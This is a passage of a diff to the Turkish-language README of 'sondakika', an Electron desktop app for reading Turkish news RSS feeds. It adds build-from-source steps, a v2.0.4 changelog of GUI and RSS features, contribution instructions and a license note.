+
258
+ │ Son depremler...
259
+ └─────────────────────────────────────────────────────────────────────
260
+ 🔗 https://www.trt...
261
+ ```
262
+
263
+ ---
264
+
265
+ ## 🛠️ Kaynaktan Derleme
266
+
267
+ ```bash
268
+ # Depoyu klonlayın
269
+ git clone https://github.com/eaeoz/sondakika.git
270
+ cd sondakika
271
+
272
+ # Bağımlılıkları yükleyin (hem GUI hem de eski CLI bağımlılıklarını içerir)
273
+ npm install
274
+
275
+ # v2.0.4 Electron GUI'sini çalıştır (varsayılan)
276
+ npm start
277
+
278
+ # Windows yükleyicisini ve portable sürümü derle (NSIS + Portable, x64)
279
+ npm run build
280
+ ```
281
+
282
+ Derlenen yükleyici ve portable sürüm `dist/` klasöründe bulunacaktır:
283
+ - `Sondakika Setup 2.0.4.exe` (NSIS yükleyici)
284
+ - `Sondakika_portable_2.0.4.exe` (Kurulumsuz portable)
285
+
286
+ Eski CLI işlevselliği üzerinde çalışmak için [eski sürümlerdeki](https://github.com/eaeoz/sondakika/releases) v1.x kaynak koduna bakın.
287
+
288
+ ---
289
+
290
+ ## 📦 v2.0.4'te Neler Yaptık?
291
+ Bu sürüm, orijinal CLI aracından tam özellikli bir Windows masaüstü uygulamasına tam geçiştir:
292
+
293
+ ### Teknik Uygulama
294
+ - ✅ Masaüstü uygulama çatısı olarak **Electron 28.3.3** entegre edildi
295
+ - Windows x64 için NSIS hedefi ile **electron-builder 24.13.3** yapılandırıldı
296
+ - ✅ Özel çok boyutlu uygulama simgesi tasarlandı ve gömüldü (`assets/icon.ico` ve `assets/icon.png`)
297
+ - ✅ Otomatik Başlat menüsü/Masaüstü kısayolları ile taşınabilir Windows yükleyicisi oluşturuldu
298
+ - ✅ Ana ve oluşturucu işlemler arasında IPC iletişimi uygulandı
299
+ - ✅ Güvenli bağlam yalıtımı için ön yükleme (preload) komut dosyaları oluşturuldu
300
+
301
+ ### GUI Geliştirme
302
+ - ✅ Temalandırma için CSS özel özellikleri ile **Inter font** ve modern UI tasarlandı
303
+ - ✅ CSS değişkenleri ile **karanlık/açık tema sistemi** uygulandı
304
+ - ✅ Kaynak seçim onay kutuları ve ayar kontrolleri ile **kenar çubuğu** oluşturuldu
305
+ - ✅ Hover efektleri ve seçim durumları ile **kart tabanlı haber ızgarası** oluşturuldu
306
+ - ✅ Özel pencere ve gezinti ile **uygulama içi makale okuyucu** geliştirildi
307
+ - ✅ Tüm pencerelerde **klavye navigasyonu** desteği eklendi
308
+ - Kullanıcı verileri dizininde JSON dosyaları kullanarak **durum kalıcılığı** uygulandı
309
+ - Erişilebilirlik için **yazı boyutu kontrolleri** eklendi (başlık ve içerik ayrı)
310
+ - Yapılandırılabilir sayfa başına öğe ile **sayfalama sistemi** oluşturuldu
311
+ - Görsel çıkarımı ve tarih biçimlendirmesi ile **RSS ayrıştırma** uygulandı
312
+ - Haber getirme sırasında daha iyi UX için **yükleme iskeletleri** eklendi
313
+ - Uygulama genelinde **Türkçe dil arayüzü** oluşturuldu
314
+
315
+ ### Haber Kaynağı Entegrasyonu
316
+ - 9 büyük Türk haber RSS beslemesi entegre edildi
317
+ - ✅ Kaynağa özel görsel çıkarım desenleri uygulandı (örn. Gazete Vatan)
318
+ - ✅ Yanlış UTC sapması olan kaynaklar için saat dilimi düzeltmesi eklendi (CNN Türk, Yeni Şafak)
319
+ - ✅ Kaynaklar "Son Dakika" ve normal haber olarak kategorize edildi
320
+
321
+ ### Eski CLI Korunması
322
+ - ✅ Terminal UI desteği için `blessed` bağımlılığı korundu
323
+ - ✅ Eski kullanıcılar için tüm v1.x CLI belgeleri korundu
324
+ - ✅ CLI'dan GUI'ye geçiş yapan kullanıcılar için geriye dönük uyumluluk notları tutuldu
325
+
326
+ ---
327
+
328
+ ## 🤝 Katkıda Bulunma
329
+ Katkılarınızı bekliyoruz! Lütfen şu adımları izleyin:
330
+ 1. Depoyu çatallayın (fork)
331
+ 2. Özelliğiniz için yeni bir dal oluşturun (`git checkout -b feature/ozelliginiz`)
332
+ 3. Değişikliklerinizi işleyin (`git commit -m "Yeni özellik ekle"`)
333
+ 4. Dala gönderin (`git push origin feature/ozelliginiz`)
334
+ 5. Bir Pull Request açın
335
+
336
+ CLI ile ilgili katkılar için v1.x kaynak kodu yapısına bakın.
337
+
338
+ ---
339
+
340
+ ## 📄 Lisans
341
+ Bu proje ISC Lisansı altında lisanslanmıştır - ayrıntılar için [LICENSE](LICENSE) dosyasına bakın.
342
+
343
+ ---
344
+
325
345
  *Geliştirici: [Sedat Ergoz](https://github.com/eaeoz)*